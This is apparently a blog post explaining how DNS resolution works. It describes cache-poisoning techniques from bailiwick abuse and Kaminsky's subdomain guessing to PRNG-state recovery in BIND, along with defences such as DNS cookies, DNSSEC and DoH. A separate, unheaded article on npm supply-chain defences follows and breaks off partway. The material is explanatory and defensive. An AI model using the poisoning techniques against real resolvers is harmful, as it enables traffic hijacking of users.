Reading the article with these questions in mind can help you consciously understand what you are learning and what problems the upcoming content aims to solve. Rather than a straightforward explanation of terms, “reading with questions from the beginning” is the approach I want to try.

This article will discuss the operational principles of DNS, attack techniques, and corresponding solutions. Without further ado, let’s get started.

Understanding DNS through DNS Cache Poisoning

I have heard of an attack technique called DNS cache poisoning, which can control DNS responses. For example, under normal circumstances, google.com should resolve to an IP like 142.250.21.139, but if an attacker poisons the DNS, it might respond with a different IP, causing users to connect to a different location.

One day, I suddenly became curious about how this is done and what defense methods exist.

Before knowing the answer, we must first understand how the entire DNS system operates.

DNS stands for Domain Name System. The most widely known explanation for the general public is that DNS is similar to a phone book; it translates google.com to 142.250.21.139 and github.com to 20.27.177.113. In the world of the internet, the lowest level address used to send packets is not the domain but the IP, so domains must be resolved to IPs.

A more relatable explanation is that a DNS server is like an experienced taxi driver. When you say you want to go to 101, they will accurately drive you to No. 7, Section 5, Xinyi Road, Xinyi District, Taipei City, converting these landmark names into addresses to take you to your destination.

So what exactly happens behind the scenes, and how does your computer query the DNS server?

When you connect to your home router, some routers will assign you an IP and tell you to use this IP for DNS. For example, the well-known 168.95.1.1 is the DNS server of Chunghwa Telecom. Whenever you want to look up the IP of a certain domain, you will ask it.

Since this server is responsible for resolving domains to IPs, it is usually referred to as a DNS resolver, and it operates as follows:

Although for us, it’s just a matter of asking it to get an answer, the operation behind it is more complex. Taking my domain blog.huli.tw as an example, it is actually a layered process. When we ask Chunghwa Telecom, they will query the service that manages all DNS: the “root name server,” which records who manages .tw and tells Chunghwa Telecom: “Go ask them.”

Then Chunghwa Telecom will ask the TLD name server that manages .tw. After checking huli.tw, this name server finds that the domain is managed by ken.ns.cloudflare.com and responds to go find them.

So Chunghwa Telecom will then ask ken.ns.cloudflare.com and receive the following results:

blog.huli.tw.   300 IN  A 104.21.51.169blog.huli.tw.   300 IN  A 172.67.183.1

It has been confirmed that the IP corresponding to blog.huli.tw has these two, which will be returned to my browser, and then the browser will choose where to connect.

Since only ken.ns.cloudflare.com knows the final result in the entire chain, it is also called the authoritative name server.

The overall process is as follows:

The process of recursive resolution is quite long, so it is not possible to do this every time. In fact, every link has a cache, for example, the browser may have its own cache, the operating system does too, and the DNS resolver provided by Chunghwa Telecom also has it. Therefore, it does not need to check the entire chain every time to know the result; as long as it encounters a cache, it will return.

The DNS cache poisoning targets the DNS resolver, which is the Chunghwa Telecom 168.95.1.1 mentioned earlier. If I can poison google.com, then Chunghwa Telecom users visiting Google will connect to my server, demonstrating the significant impact of this attack.

The DNS resolver is responsible for converting domains into IPs. As long as we understand this, we can discuss two real events.

The CJSCOPE Incident

The laptop brand CJSCOPE originally launched a “One Like, One Dollar Off” event on its official website, but found that there were too many likes, so they temporarily changed the rules and closed the website early. Since some orders placed within the time frame were also canceled, netizens took them to court, and in the end, CJSCOPE lost the case.

I was quite concerned about this case at the time. Although many netizens felt that CJSCOPE was being unreasonable, I was curious about how the canceled orders would ultimately be judged. According to CJSCOPE, they had closed the website, but netizens were able to place orders through a “website vulnerability,” so those orders were invalid.

So what exactly is this website vulnerability? How was the website closed?

The closure actually means that CJSCOPE removed their DNS records. Once the cache expired, the official website naturally became inaccessible, and an error would be returned when you entered the URL. The so-called “website vulnerability” is that netizens modified their local /etc/hosts file, added the records back, and could connect to the official website without relying on the DNS resolver.

According to Taipei Shilin District Court Small Claims Civil Judgment No. 114 Year Shihsiao No. 5, the judge’s final opinion was:

Furthermore, if the defendant intended to refuse all orders, they should have taken the official website server offline. This is evident from the aforementioned netizen’s Facebook post, which shows that the defendant later adopted this measure. Therefore, the defendant did not take the official website server offline but merely disconnected the DNS and IP address, akin to a business temporarily removing its doorplate and sign (DNS) while still providing service (fulfilling orders) to any customer who knows the actual location (IP address). It cannot be said that the customer engaged in any fraudulent behavior or that the business was in error.

In other words, if you, as a business, do not want to sell things, you should take the server offline, but you only removed the DNS, and the website is still up. It’s like a business still operating but just taking down the sign; it’s reasonable for familiar customers to come in and buy things.

What I am concerned about is whether “removing the DNS record counts as closing the website,” and I thought of a hypothetical scenario: suppose one of a company’s test environments is exposed on the public internet (IT has also said it should be on the internal network, but some people think connecting via VPN is too troublesome and thought no one would look for it, so they put it on the public internet), but the URL is not public, and all the prices of items inside are half of the normal price.

If a passerby finds this URL and places an order through some means, would it be considered a valid transaction?

I don’t know if the passerby needs to prove they had sufficient reason to believe this website was legitimate to place the order, or if the company needs to prove that although the website is exposed on the public internet, it is not a public website. However, based on the CJSCOPE case, the latter may not work, as it would be considered public once the website is exposed.

The Blocking of Xiaohongshu and RPZ

As mentioned earlier, if I can make the DNS resolver resolve google.com to my IP, everyone will come to my server when connecting to Google, which counts as a malicious attack.

But there is also a method that operates on the same principle and follows the same approach, yet is considered benevolent.

For example, the government discovers that a certain fraudulent website is rampant, so it directly instructs Chunghwa Telecom to resolve their domain to the IP of a government unit. As a result, when users connect to that website, they will see a warning screen and not the original content.

This mechanism is called DNS RPZ (Response Policy Zone). The Taiwan Network Information Center has created a special website to explain it: DNS RPZ Governance Mechanism. Various agencies submit requests for review, and once approved, major telecom companies in Taiwan will specifically change the IP resolution for this record, displaying a warning screen.

The most famous case is the blocking of Xiaohongshu at the end of last year. When you open the Xiaohongshu website in your browser, you will first see a certificate error page, and after clicking continue, you will see this:

After understanding how DNS works, you can see why the method circulating online to bypass it—“change DNS resolver”—can be successful.

Although the default DNS resolver used by many might be Chunghwa Telecom’s, this can be changed. You can switch to Google’s 8.8.8.8 or Cloudflare’s 1.1.1.1. Through these two DNS resolvers, you can still access Xiaohongshu.

If you’re curious, you can try it on your own computer. First, query Xiaohongshu’s IP through 168.95.1.1, and you will get 140.111.246.32 along with another RPZ-related explanation:

dig @168.95.1.1 www.xiaohongshu.com A;; ANSWER SECTION:www.xiaohongshu.com.  300 IN  A 140.111.246.32;; ADDITIONAL SECTION:rpztw.      60  IN  SOA localhost. This.is.an.infringing.website.rpztw. 1781775121 60 60 86400 60

And through 8.8.8.8, you will get the normal IP:

dig @8.8.8.8 www.xiaohongshu.com Awww.xiaohongshu.com.eo.dnse0.com. 60 IN A 43.170.214.10www.xiaohongshu.com.eo.dnse0.com. 60 IN A 43.175.160.184www.xiaohongshu.com.eo.dnse0.com. 60 IN A 43.175.164.195www.xiaohongshu.com.eo.dnse0.com. 60 IN A 43.175.161.148

Therefore, DNS RPZ is still somewhat distant from a true blockade. Its original intention is to protect the public from connecting to illegal websites, but if you don’t want to be protected or if you know what you’re doing, you can still connect by simply changing the DNS; you won’t be blocked by the wall.

Such proactive interventions in the online world naturally lead to many discussions regarding regulations and systems. To what extent can the government intervene? How can we prevent arbitrary blocking by RPZ? Some believe that the government should not intervene at all, and that the online world should be free.

Indeed, Taiwan’s RPZ has inadvertently blocked many important services, such as Azure Web App and WordPress, which have suffered from this issue.

If you want to learn more about internet governance topics, you can refer to the OCF Foundation for Open Culture or the Taiwan Internet Governance Forum TWIGF. There have also been some public discussions on Facebook, such as this 2023 discussion on the RPZ mechanism and 2025 discussion on Xiaohongshu being blocked.

The Principle of DNS Cache Poisoning

Bringing the topic back to DNS cache poisoning, now that we understand how DNS operates, how exactly is this poisoning achieved?

As mentioned earlier, the DNS resolver queries ken.ns.cloudflare.com for the IP of blog.huli.tw. How does the attacker interfere with this result?

The first attack method that appeared historically was: “buy one get one free,” and the second was: “buzz in.”

First, the “querying the IP of blog.huli.tw“ involves sending a packet. The protocol used by DNS is UDP, so for the DNS resolver, it sends a packet to the name server responsible for resolving the IP of blog.huli.tw, assuming it is 108.162.193.127, with the content written as:

From: 168.95.1.1:53To:   108.162.193.127:53Question:blog.huli.tw A?Transaction ID: 12345

Under normal circumstances, the name server will respond after receiving it:

From: 108.162.193.127:53To:   168.95.1.1:53Transaction ID: 12345Answer:blog.huli.tw A 104.21.51.169

At this point, the resolver verifies that the transaction ID matches the source IP and trusts this result, storing it in its cache. The next time someone queries, it will respond directly.

The first technique, “buy one get one free,” involves the name server responsible for resolving blog.huli.tw secretly sending you results for other domains in the returned packet:

From: 108.162.193.127:53To:   168.95.1.1:53Transaction ID: 12345Answer:blog.huli.tw A 104.21.51.169google.com A 104.21.51.169

It’s equivalent to saying, “Even though you didn’t ask, I’ll let you know that the IP for google.com is this.”

However, you need to have a legitimate name server responsible for resolving domain names to carry out this attack, which has a high prerequisite that most people cannot meet, but it did happen 30 years ago.

In 1997, Eugene Kashpureff’s AlterNIC was responsible for DNS resolution for some top-level domains, and he used this technique to influence the resolution results of another DNS service, www.internic.net.

This was not cybersecurity research but actual crime, so he was caught, and you can still find reports from The New York Times: From Jail and Boardroom, A Street Fight for the Internet and related press releases.

This issue was later fixed with the introduction of a mechanism called “bailiwick checking,” which checks whether the DNS server has the authority to answer the resolution records for that domain, preventing the “buy one get one free” tactic.

Next, let’s talk about the second technique, “fast answering.” Since the resolver trusts the result if the transaction ID matches the source IP, conversely, as long as the attacker can spoof these two things and do it faster than the original, the resolver will believe the forged result.

First, let’s discuss the spoofing of IP. The so-called IP is ultimately just a string of characters placed in the packet. Although the OS fills it in for you, you can modify it yourself and input the IP you want, thus successfully spoofing it.

However, in scenarios like HTTP that use TCP, there is a three-way handshake at the beginning. You send a packet to the other party, and then they send one back to you. In this second step, “the other party sends to you,” they will send it to your spoofed destination, and you won’t receive it, making it impossible to establish a connection. So, even if you spoof, it won’t work.

However, DNS uses UDP, so once the packet is sent out, it ends there, allowing for successful spoofing.

In addition, some ISPs perform filtering. When they detect that the IP in your packet is strange and not allocated to your network segment, they will drop the packet directly, so you can’t send it out at all. This mechanism is called BCP 38: Network Ingress Filtering.

But this is not mandatory, so once you find an ISP that does not implement BCP 38, you can spoof the source IP and send the forged response to the DNS resolver.

What about the transaction ID? This is a 16-bit ID, with only 65536 possible values, so you can just keep guessing. As long as you guess correctly, it’s yours. If you guess randomly each time, you have a 50% chance of hitting at least once after guessing 45426 times.

But this is only theoretical feasibility; there is a fatal flaw that has not been considered. As mentioned earlier, these name servers have caches. If I guess wrong this time, I have to wait for the cache to expire before I can guess again. Even if it’s just 1 minute, I would have to guess for 1 month to reach over 45000 guesses, which is somewhat impractical.

This flaw was overcome by Dan Kaminsky in 2008.

Black Ops 2008 – It’s The End Of The Cache As We Know It

This was the title of Dan Kaminsky’s talk at Black Hat USA 2008, and the slides can only be found in this version from Black Hat Japan.

The attack method he proposed is that since guessing wrong will be blocked, we can just guess a different subdomain.

First, guess 1.huli.tw, if wrong, then guess 2.huli.tw, and so on, continuously guessing further back. Since each guessed domain is different, even if the guess is wrong, there is no need to wait for the cache to expire. Originally, each guess would require a five-minute cooldown, but now there is no need to wait at all.

If you guess 100 times per second, you can complete over 45,000 guesses in 8 minutes, significantly increasing the success rate.

But what if you guess correctly? No one is going to visit a domain like 42.huli.tw, which doesn’t exist at all.

This is the key point. When we guess correctly, the forged response is not “42.huli.tw is at x.x.x.x,” but rather “I don’t know where 42.huli.tw is, you should ask x.x.x.x, huli.tw is managed by them.” Therefore, the DNS resolver gets polluted regarding the name server IP responsible for resolving huli.tw, and afterwards, it will ask the forged location.

This is somewhat similar to the previously mentioned buy one get one free, but there is a fundamental difference. Buy one get one free is: “You ask me for huli.tw, and I conveniently tell you google.com,” but that shouldn’t happen at all, so it was blocked.

Now it is: “You ask me for 42.huli.tw, and I tell you who manages huli.tw,” which is allowed because both belong to the same domain.

The entire attack process is as follows:

The final fix was that instead of just guessing a 16-bit transaction ID, now the port has also become random, and the range of the port is also 16 bits, so the possibilities have increased to 32 bits, from the original 60,000 to 4 billion.

By the way, Dan Kaminsky himself talked about some stories behind fixing the vulnerability at O’Reilly FOO Camp 2008, and the video is here: Geek Alert: Dan Kaminsky on the DNS Bug of 2008. The impact was so large that every company needed to cooperate in the fix.

Since the possibilities have become 4 billion, guessing correctly seems impossible. But hackers are good at digging deep; while 4 billion random numbers are impossible to guess, how are your random numbers generated?

DNS Cache Poisoning Like it’s 2006

USENIX Security is one of the most important cybersecurity academic conferences in the world. Although this year’s conference will be held in August, we can already see the accepted papers, and the title DNS Cache Poisoning Like it’s 2006 is one example, authored by Omer Ben-Simhon and Amit Klein from Hebrew University.

After the vulnerability discovered by Dan Kaminsky in 2008 was patched, the possibility of DNS cache poisoning attacks decreased significantly, as guessing a random number within 4 billion in a short time is quite difficult.

However, have you ever thought about how these random numbers are generated?

Typically, there are two ways to generate random numbers in programming: one is secure, and the other is not. The term “secure” here refers to “cryptographically strong,” meaning secure in a cryptographic sense.

In JavaScript, the insecure method is Math.random, while the secure method is crypto.getRandomValues. The difference lies in the underlying implementation; the former is predictable, while the latter is not.

Why can it be predicted? Because most random numbers are not truly random but are “pretending to be random.” For example, there is a simple algorithm for generating random numbers called LCG (Linear Congruential Generator), which can be written in JavaScript as:

class LCG {  constructor(seed) {    this.state = seed;  }  next() {    const a = 1664525;    const c = 1013904223;    const m = 2 ** 32;    this.state = (a * this.state + c) % m;    return this.state;  }}const rng = new LCG(123);console.log(rng.next());console.log(rng.next());console.log(rng.next());

You pass in a seed as the initial state state, and then through a fixed formula: 1664525 * state + 1013904223, you take the modulus of m to get the result, which is the random number, and it will also become the next state. The function responsible for generating random numbers is called PRNG (Pseudo-Random Number Generator).

So as long as your seed is the same, the sequence of random numbers generated each time will be the same. Conversely, when you have enough random numbers, you can reverse-engineer what the original seed was. This is why it can be predicted; it’s just simple mathematics.

The software behind the DNS resolver is called BIND, and BIND uses a PRNG called Xoshiro128** when generating random numbers. After obtaining multiple outputs, you can trace back to its initial state. Once you have the initial state, you can predict what the next random number and every subsequent random number will be.

This is essentially solving a system of equations, similar to asking what x, y, and z are in 2x+y+z=3, 5x+2y+3z=2, x+y+z=9.

The key point is, how do you obtain these outputs? Besides the transaction ID and port, BIND also uses the same random number generator in other places. For example, when I query the record for google.com, the first response is:

google.com.   252 IN  A 142.250.21.102google.com.   252 IN  A 142.250.21.138google.com.   252 IN  A 142.250.21.139google.com.   252 IN  A 142.250.21.113google.com.   252 IN  A 142.250.21.101google.com.   252 IN  A 142.250.21.100

And the second response is:

google.com.   247 IN  A 142.250.21.138google.com.   247 IN  A 142.250.21.139google.com.   247 IN  A 142.250.21.113google.com.   247 IN  A 142.250.21.101google.com.   247 IN  A 142.250.21.100google.com.   247 IN  A 142.250.21.102

Each result is for the A type of google.com, which we call a Resource Record Set, abbreviated as RRSet. You can clearly see that although the IPs in the two responses are the same, the order is different.

This order is determined randomly, so when you have enough records in your RRSet (according to the original text, more than 23), you can deduce part of the seed from the sorted results. Doing this a few more times can restore all 128 bits of the seed, thus cracking the random number.

Once the random number is cracked, both the port and transaction ID can be guessed, reducing the 4 billion possibilities you were peeking into the future down to just 1, rendering the protective measures useless. The solution is to replace the random number with a more secure generation method and to keep important and unimportant random numbers separate.

In this example, important random numbers like transaction IDs and ports use the same PRNG instance as those unimportant random numbers like RRSet sorting, allowing you to reverse-engineer the seed from other places.

This vulnerability was fixed last October, and the official announcement can be found here: CVE-2025-40780: Cache poisoning due to weak PRNG.

By the way, I stumbled upon this unpublished research. I asked about the techniques for DNS cache poisoning, and it pointed me to this. If I had searched for it myself on Google, I might not have found it and would have ended up with other articles first.

However, since the article is very new, whether it’s ChatGPT or Gemini, as long as it doesn’t use search tools, the answers it gives you will be a bunch of hallucinations (but they seem very real and convincing), stating many things that are not written in the original text.

Is DNS really that insecure? Discussing DNSSEC and DNS cookies

In the paper “DNS Cache Poisoning Like it’s 2006,” many details can be seen, one of which discusses DNS cookies. When I saw it, I thought, “Here comes another new term I’ve never heard of,” so I looked up what it was.

Although the proposal for DNS cookies existed in 2006, it wasn’t officially turned into RFC 7873 until 2016. Its main goal is to solve the problem of packet forgery.

All the previous writing revolves around the issue of packet forgery, and the solution proposed by DNS cookies is that when a DNS resolver wants to ask a DNS name server a question, it first brings along a 64-bit client cookie. This client cookie can be generated like this, using the client IP + server IP combined with a secret:

HMAC-SHA256-64(Client IP Address | Server IP Address, Client Secret)

Next, the client cookie is sent along with the domain to be queried to the name server.

When the name server receives it, it generates a unique server cookie using a similar method (for example, hashing the client IP + client cookie + server secret), and sends the query answer along with the server cookie back to the client. The DNS resolver then stores the server cookie upon receipt.

From this point on, all query requests sent from the DNS resolver to that name server will carry the client cookie + server cookie. The name server will also check whether the client cookie and server cookie are correct when receiving requests.

Once this relationship is established, if the DNS resolver receives a forged response, the attacker cannot forge the server cookie since they do not know the client cookie, so the verification will fail.

Now, how does the method of guessing the random number discussed in the previous section bypass the defense of DNS cookies?

Although the DNS cookie mechanism is enabled by default in BIND, the expiration time for the new version is 60 seconds, meaning the entire process restarts every 60 seconds. Therefore, the attacker has an opportunity to attack every 60 seconds; as long as they can respond faster than the authoritative DNS, they can send their own client cookie first, thereby bypassing this protection mechanism.

Thus, while the entire DNS cookie mechanism seems sound, the expiration time is too short, so during the window immediately after expiration, it is effectively unprotected.

Furthermore, DNS cookies are not that widespread; among the top one million websites ranked by Alexa, only 32% support it.

In addition to DNS cookies, there is another protective measure called DNSSEC, and the paper mentions that they assume the victim has not enabled this mechanism, so there is no need to bypass it.

So what is DNSSEC?

The full name is DNS Security Extensions, and the problem it aims to solve is the same: how to prevent attackers from forging responses from authoritative DNS.

The methods mentioned earlier are essentially stopgap measures. Initially, the transaction ID could be guessed, so a random port was added to make it unguessable, then DNS cookies were introduced, and now there is an additional client cookie and server cookie that cannot be guessed, based on the first connection.

However, none of these methods can guarantee that the response received by the DNS resolver is from the authoritative DNS; they merely increase the difficulty through randomness. What can truly guarantee this should be similar to HTTPS, establishing a trust chain that can be verified through digital signatures.

And that is exactly what DNSSEC does. In simple terms, it can be thought of as the response from authoritative DNS containing a signature, which the DNS resolver can verify using cryptographic methods to check if this signature was issued by huli.tw. If it is, then it is accepted, preventing others from forging it.

However, this seemingly useful mechanism has a very low actual usage rate. According to the numbers provided by M11: DNSSEC Deployment in TLD and SLD, only 7% of the top 100 websites in the world have it set up, and only 12% for .tw.

DNSSEC needs to be configured by the domain owner, so it is up to each domain owner to handle it. If configured incorrectly, users may have trouble accessing the website. After some investigation, the reasons for the lack of adoption seem to be that deployment is relatively cumbersome and there are no incentives. Compared to the cost of implementation, the benefits seem lower.

However, some domain hosting services now handle these hassles for you, such as TWNIC, which has DNSSEC enabled by default, and Cloudflare can also enable it with one click. But for large companies with technical debt, the cost may still be relatively high; it is not as simple as just pressing a button to enable it.

The Inherent Flaws of DNS and Privacy Protection

In fact, when discussing DNS-related attacks, they are usually divided into two categories: on-path and off-path.

The “path” refers to the transmission route of DNS packets. The packets exchanged between DNS servers are not encrypted, so any node in the middle can see or tamper with the content during transmission; this attack path is called on-path.

Off-path refers to attackers who are not on the path, cannot see the packets, and cannot directly tamper with them. The attack cases mentioned earlier are based on off-path. Since on-path can see and modify, among the various defensive methods mentioned, only DNSSEC can truly defend against on-path attacks, as it relies on digital signatures rather than random numbers.

Because DNS packets are not encrypted, the DNS resolver you use, and even the nodes along the entire chain, can see your packets and know which websites you queried, leaking your privacy.

As a result, two technologies have emerged. One is DNS over TLS, abbreviated as DoT, which brings the TLS protocol to DNS queries. This time, it uses a TCP connection along with TLS authentication, similar to HTTPS, so that others cannot see the contents of the packets.

The other technology is DNS over HTTPS, abbreviated as DoH, which replaces the DNS query method with HTTPS. For example, when querying DNS, a request is sent using POST /dns-query, which also prevents privacy leakage. For instance, Google’s Public DNS provides this functionality.

Both technologies are applied in the scenario of “sending packets from your computer to the DNS resolver,” protecting your privacy from being leaked and preventing ISPs from seeing which websites you are querying.

If you want to know whether your computer has it enabled, you can use this service: https://one.one.one.one/help/

My computer, for example, is set to not have it enabled by default:

Conclusion

When we want to visit huli.tw, the system will ask the DNS resolver for the IP corresponding to this domain. The resolver will first ask the root name server, which replies, “You should ask .tw,” then it will ask the TLD name server managing .tw, which replies, “You should ask Cloudflare.” As the authoritative name server, Cloudflare ultimately provides the answer 104.21.51.169.

If an attacker answers before Cloudflare does, saying, “I know, the answer is 8.8.8.8,” then when we visit huli.tw, we will connect to this fake address, which is a DNS cache poisoning attack.

To prevent this attack, it is necessary to ensure that attackers cannot forge packets. Therefore, mechanisms such as random transaction IDs, random ports, DNS cookies, and DNSSEC have emerged, all aiming to solve a similar problem: “How to ensure that the results obtained by the DNS resolver are correct.”

In addition, another problem that plaintext DNS inherently faces is privacy. When the system asks the DNS resolver what the IP of huli.tw is, everyone will know that I want to visit huli.tw.

To address this privacy issue, mechanisms like DoT and DoH have emerged, which protect the DNS query packets through encryption. Even if intercepted, the contents cannot be seen.

This is a summary of the key points of this article for your reference.

Initially, I was just curious about DNS cache poisoning and asked AI about attack methods, which led me to the paper “DNS Cache Poisoning Like it’s 2006.” From this paper, I learned about Dan Kaminsky’s attack method in 2008 and what DNS cookies are.

Then I kept pushing forward, learning about the DNS query process again (I had learned it before but not in such detail), and also checked what issues might arise, filling in my knowledge in this area. During this learning journey, AI helped a lot; I asked many questions directly to AI and got answers. I would cross-reference with ChatGPT, Gemini, and Codex (GPT 5.5) while also searching for related information on Google to verify the accuracy.

After going through this, I feel that I finally have a better understanding of the entire DNS system. The most rewarding part is for myself, and I also want to organize what I’ve learned and share it with readers. This article is a bit different because I’m starting to try to use AI to create some interactive web pages, hoping to aid understanding. I’m not sure how effective it will be, so any suggestions can be left in the comments below or shared with me through the form.

On May 13, the popular TanStack series repo in the frontend community was also attacked.

On April 1, axios, which has a hundred million downloads weekly, was similarly attacked, and a malicious version was released.

It seems that news about supply chain attacks appears every month or even every week, and the targets are not limited to npm; Python’s PyPI, .NET’s NuGet, and even Docker Hub or VSCode extensions used by developers are all targets.

In this context, how should developers protect themselves?

This article mainly discusses supply chain attacks targeting npm, starting with the principles, followed by attack techniques and defense strategies.

Starting with Installing a Package

What happens when you run npm install express? (It’s actually more complex, but let’s simplify it).

First, since no version is specified, npm will look for the latest version of the express package. As of the time I wrote this article, it was version 5.2.1, released 11 days ago.

Thus, version 5.2.1 of express is downloaded to your computer.

Next, express itself has dependencies on other packages, which are defined in its package.json. There are quite a few:

{  "dependencies": {    "accepts": "^2.0.0",    "body-parser": "^2.2.1",    "content-disposition": "^1.0.0",    "content-type": "^1.0.5",    "cookie": "^0.7.1",    "cookie-signature": "^1.2.1",    "debug": "^4.4.0",    "depd": "^2.0.0",    "encodeurl": "^2.0.0",    "escape-html": "^1.0.3",    "etag": "^1.8.1",    "finalhandler": "^2.1.0",    "fresh": "^2.0.0",    "http-errors": "^2.0.0",    "merge-descriptors": "^2.0.0",    "mime-types": "^3.0.0",    "on-finished": "^2.4.1",    "once": "^1.4.0",    "parseurl": "^1.3.3",    "proxy-addr": "^2.0.7",    "qs": "^6.14.0",    "range-parser": "^1.2.1",    "router": "^2.2.0",    "send": "^1.1.0",    "serve-static": "^2.2.0",    "statuses": "^2.0.1",    "type-is": "^2.0.1",    "vary": "^1.1.2"  }}

The next step is for npm to download each package based on this definition, ensuring that it is the “correct version.”

Version numbers are usually in the format a.b.c, such as 1.1.0 or 2.3.3, where the first number is the major release, typically indicating a breaking change. This means that upgrading from 1.2.0 to 2.0.0 may break some APIs, so directly upgrading the project could cause issues.

The last version number, like 2.3.0 to 2.3.1, usually indicates a small bug fix, while new features would change the middle number, such as 2.3.0 to 2.4.0.

For example, "body-parser": "^2.2.1 indicates that the ^ means “no breaking changes are accepted,” so ^2.2.1 can accept any version of 2.x.x, which is the most commonly used notation.

Therefore, if you actually test it, you will find that the installed version of body-parser is 2.2.2, as that is the latest version that meets the ^2.2.1 definition.

Taking another example from above, "content-disposition": "^1.0.0", the latest version is 2.0.0, but the installed version is 1.1.0, because 1.1.0 is the one that meets the ^1.0.0 definition.

The packages that express depends on may also have their own dependencies, so this process continues until all dependencies are installed.

After you run npm install express, you will see how many packages were installed in the terminal:

added 66 packages, and audited 67 packages in 2s

Let’s pause here. Up to this point, what potential issues could arise during this installation process?

First, if the latest version of express has issues, we are compromised.

Second, if any dependency of express has issues, we are also compromised. If any of those 66 packages has a latest version released by a hacker, we will install that as well.

This is the origin of supply chain attacks, especially since the JavaScript ecosystem is often criticized for providing too few built-in functionalities, leading developers to install a large number of small packages to handle these common functionalities.

For example, if we want to know the relationship between HTTP status codes and messages, such as how 404 corresponds to Not Found, there is a package on npm with 150 million downloads weekly called statuses that specializes in this, and its core is essentially a JSON file mapping codes to messages.

For the same requirement, in Go you can directly use http.StatusText, and in Python you can use HTTPStatus(404).phrase, both of which have official libraries provided. However, in the JavaScript ecosystem, there is no such thing, and you can only rely on community-maintained packages.

Due to the lack of these official libraries, many functionalities are built up using packages from npm. If any small package is compromised, it can lead to the installation of malicious packages. From an attacker’s perspective, compromising one package can affect thousands, which is quite cost-effective.

In addition to the two issues mentioned above, there is another problem: “We accidentally install the wrong package.”

For example, if you mistakenly type an extra ‘s’ in express, it becomes expresss, which will install a different package. Therefore, hackers can register many misspelled packages and embed malicious code in them. If you accidentally make a typo, you could fall victim to this. This type of attack is called typosquatting.

Just between us, nearly 600 people add an extra ‘s’ each week, but fortunately, this package is empty:

Some services prohibit the registration of such similar names, or some kind-hearted security personnel will register them first to prevent others from making mistakes or being registered by malicious actors. For example, the package mongose, which is just one letter off from the well-known package mongoose, was previously attacked, so it was later registered by the npm team and left unused:

What happens if you install a problematic package? How to defend against it?

Since it’s about installing packages, it should be fine as long as you don’t use them, right? Even if you accidentally install the wrong one by typing an extra letter, you will find that the package doesn’t exist when you write it correctly. As long as you don’t use the package, it should be safe, right?

In the npm ecosystem, if you install a malicious package, it’s game over.

The reason is that npm provides various scripts that can run, such as postinstall. As long as it is specified in the package, the shell script written in postinstall will be executed after you finish installing the package.

The normal use of postinstall is to automatically download necessary items after the package is installed, like puppeteer, which has node install.mjs written in its postinstall, running a script that downloads the browser and sets up the environment.

The abnormal use is to embed malicious code in postinstall. For example, in the attack on axios, a sub-dependency specified postinstall to run node setup.js, and setup.js contained malicious code, leading to an immediate compromise upon installation.

So how can we defend against this?

In npm, there is a parameter that can be set: ignore-scripts. If set to true, it will disable these pre/post hooks and will not execute them. This parameter is false by default, so remember to set it actively.

Starting from v10, pnpm defaults to blocking the execution of these scripts, and you must actively add packages to the allowBuilds list to run them. Initially, there was a GitHub discussion and vote: Should we block lifecycle script of dependencies during installation? #8918, where 70% of people chose to block it by default.

Bun’s strategy is to have a built-in trust list, where only packages on this list can execute scripts by default. Currently, there are over 300 packages on it: src/install/default-trusted-dependencies.txt

Although bun strikes a balance between developer experience and security, I still prefer pnpm’s approach, which directly blocks everything and requires explicit approval from the developer before execution.

That said, the feature of “executing scripts after installing packages” is not unique to npm; RubyGems next door has a similar feature. This mechanism also has the same problem: installing a malicious package can lead to a game over. Therefore, in April, they added two options to disable this behavior: Add –no-build-extension and –no-install-plugin options to gem install #9473.

However, to avoid breaking existing projects, this feature is disabled by default, just like npm, requiring developers to enable it actively.

For npm, we can add a user-level npm config in ~/.npmrc, so we don’t have to specify it in every folder:

# Do not execute postinstall scriptsignore-scripts=true

How to Avoid Installing Problematic Packages

If a malicious package is installed, it can execute code through those scripts; even if we disable this feature, if our product uses these packages, the product itself can be compromised, and your website might be injected with malicious code.

“Disabling scripts” is considered a second layer of defense, while the first layer, which everyone wants to achieve, is actually: “Do not install malicious packages.” As long as we don’t install them, we’re safe.

So how can we achieve this? There are three methods.

First Method: Delay Downloads

Since hackers target the supply chain for attacks, there will naturally be corresponding cybersecurity companies monitoring this area for defense.

For example, TanStack, mentioned at the beginning, was discovered by StepSecurity within 20 minutes after being attacked, while axios was discovered about an hour later and removed by npm three hours after the malicious version was released.

Thanks to the efforts of these cybersecurity companies and automated detection, such attacks can usually be detected within a few hours, and npm will remove them as quickly as possible to prevent more people from downloading malicious packages.

This means that if we specify “I only download packages released 24 hours ago” during installation, we can significantly reduce the likelihood of downloading malicious packages (of course, this doesn’t solve the problem 100%, as it can still be downloaded if no one discovers it).

In pnpm, there is a minimumReleaseAge setting, which defaults to 1440 minutes (one day) starting from v11. So when codex asks you if you want to update and you say yes, if it asks you again whether to update after installation, it’s because the version hasn’t been released for a day, so it wasn’t installed (a real case; I’ve encountered this once or twice before realizing this).

In npm, there is also a min-release-age setting, measured in days, with the same effect, and it defaults to empty.

Bun also has a minimumReleaseAge setting, measured in seconds (bun is in seconds, pnpm is in minutes, npm is in days; did you all agree to be intentionally different?), and it also defaults to empty.

So if you are using pnpm version 11 or above, it will not download packages released within a day by default, reducing the likelihood of installing malicious packages.

If you are using npm, I also recommend setting this value; I personally set it to 3 days for extra safety:

ignore-scripts=truemin-release-age=3

However, setting this parameter will encounter another issue: if there is a vulnerability, you won’t be able to install the fix immediately and will have to wait a few days or manually override this config during installation, for example, npm install -g @openai/codex --min-release-age=0.

I believe you can assess the severity of the vulnerability and whether it can be exploited. If the likelihood of exploitation is low, waiting a few days is better. After all, the risk of non-exploitable vulnerabilities is manageable, while the risk of installing malicious code is comparatively higher.

For example, many packages may occasionally have some high vulnerabilities, but if you look closely, you’ll find that they are specific situations or certain features that have issues, and the packages you use or your product itself may not necessarily utilize those features, so you can wait a few days to fix them.

However, cases like React2Shell are different; prompt fixes are the best strategy.

Second Method: Lock Versions

Basically, the same version cannot be overwritten. For example, if 2.0.0 is safe, then it is safe; hackers can only release a malicious version by incrementing the version number to 2.0.1. Therefore, as long as a safe version has been downloaded, the next download will also be safe (unless the registry itself is hacked).

After we run npm install express, in addition to downloading the package, another file called package-lock.json will be generated, which is used for locking versions in JSON format.

For example, the dependency of express is body-parser, which specifies ^2.2.1, and the currently latest compatible version of body-parser is 2.2.2. After installation, the lockfile will fix it to 2.2.2:

